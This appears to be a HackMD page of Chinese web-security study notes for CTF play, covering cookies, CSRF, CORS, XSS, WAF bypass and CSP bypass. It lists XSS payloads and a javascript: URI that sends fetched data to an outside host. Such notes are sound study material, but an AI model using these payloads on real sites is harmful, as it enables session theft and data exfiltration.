or
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up
Syntax | Example | Reference | |
---|---|---|---|
# Header | Header | 基本排版 | |
- Unordered List |
|
||
1. Ordered List |
|
||
- [ ] Todo List |
|
||
> Blockquote | Blockquote |
||
**Bold font** | Bold font | ||
*Italics font* | Italics font | ||
~~Strikethrough~~ | |||
19^th^ | 19th | ||
H~2~O | H2O | ||
++Inserted text++ | Inserted text | ||
==Marked text== | Marked text | ||
[link text](https:// "title") | Link | ||
 | Image | ||
`Code` | Code |
在筆記中貼入程式碼 | |
```javascript var i = 0; ``` |
|
||
:smile: | ![]() |
Emoji list | |
{%youtube youtube_id %} | Externals | ||
$L^aT_eX$ | LaTeX | ||
:::info This is a alert area. ::: |
This is a alert area. |
On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?
Please give us some advice and help us improve HackMD.
Do you want to remove this version name and description?
Syncing
xxxxxxxxxx
TOC
Spec & source code
basic knowledge
github.io
https://www.cjis.ooo
https
+www.cjis.ooo
+443
https
+cjis
+ooo
Cookie
SameSite
attributeNone
: 無限制Lax
(預設): top-level navigation 發送例如 href 跳轉, form GETStrict
: same-site 才發送HttpOnly
CSRF
Cross-Site Request Forgery Prevention Cheat Sheet
防禦機制
X-CSRF-HEADER: 1
。 CORS policy 根據 server responseccess-Control-Allow-Headers
可能可以攻擊
GET /app?_method=POST
X-HTTP-Method-Override
__Host-
prefix*.target.com
vlun.target.com
mXSS
CORS
application/x-www-form-urlencoded
multipart/form-data
text/plain
some vector
黑魔法
Run JS via URI
javascript:fetch('https://ntu.im/flag').then(r=>r.text()).then(d=>fetch('https://cjiso.ninja/'+btoa(d)))';
polyglot
window.opener
Text Fragments
<meta>
跳轉cross-site cookie
window.name 利用
evil.html
xss.html
form
{"key":"somevalue"}
, content-typetext/plain
iframe 利用
<iframe>
iframe.name
可跨域iframe srcdoc
WAF bypass
newbie
替代姿勢
/
代替空格<iframe/src=javascript:alert(1)></iframe>
document.body.innerHTML=document.body.innerText
`
代替'
/a/.source
\u2028, \u2029
代替\n
:eval('x=123\u2028alert(x)')
charset
<meta>
改 charset解析姿勢
協議
通用
//
解析成http://
\\ 解析成當前域協議
javascript:
\n\tjavascript:alert(2)%0aalert(1)
windows
\\ 解析成 file://
變數
window.name == name
跳轉
<meta http-equiv="refresh" content="0;URL='http://url/'" />
location.href
location.host
location.hostname
location.replace
location.assign
location.pathname
on-event
參考
auto
onfocus
<input>,<select>,<form>,<textarea>
<keygen>
less supported<input autofocus onfocus=alert(1)>
ontoggle
<details open ontoggle=alert(1)
onerror
<img src='aaaaaa' onerror=alert(1)>
onscroll
<body onscroll=alert>
+n*<br>
+<input autofocus>
onstart
<marquee onstart=alert(1)></marquee>
<iframe src=javascript:alert(1)
監聽
Request
Service worker
ref
參數解析順序
URLSearchParams.get
: first$_GET
: LastPayload
高級黑魔法
about:blank
about:blank
Dom clobbering
Disable CSP
src=/%gg
make reverse-proxy suck and then response bad request without csp header.unclassified
Cookie race condition
在跳轉請求的第二次請求前改 cookie,可讓兩次請求夾帶不同 cookie
https://ctftime.org/writeup/29310?utm_source=pocket_mylist
Cookie subpath
Bypass CSP via js added by CDN
一些 CDN 會自動掛載 js 檔案在某路徑下,有些檔案可以利用就能繞過 unsafe-eval
https://twitter.com/kinugawamasato/status/1414648695904083988
https://twitter.com/kinugawamasato/status/893404078365069312?lang=en
https://blog.brycec.me/posts/corctf_2021_challenges/#blogme
Cloudflare
Service Worker
HTTPLeak
jsonp
list
sourceMappingURL
self-XSS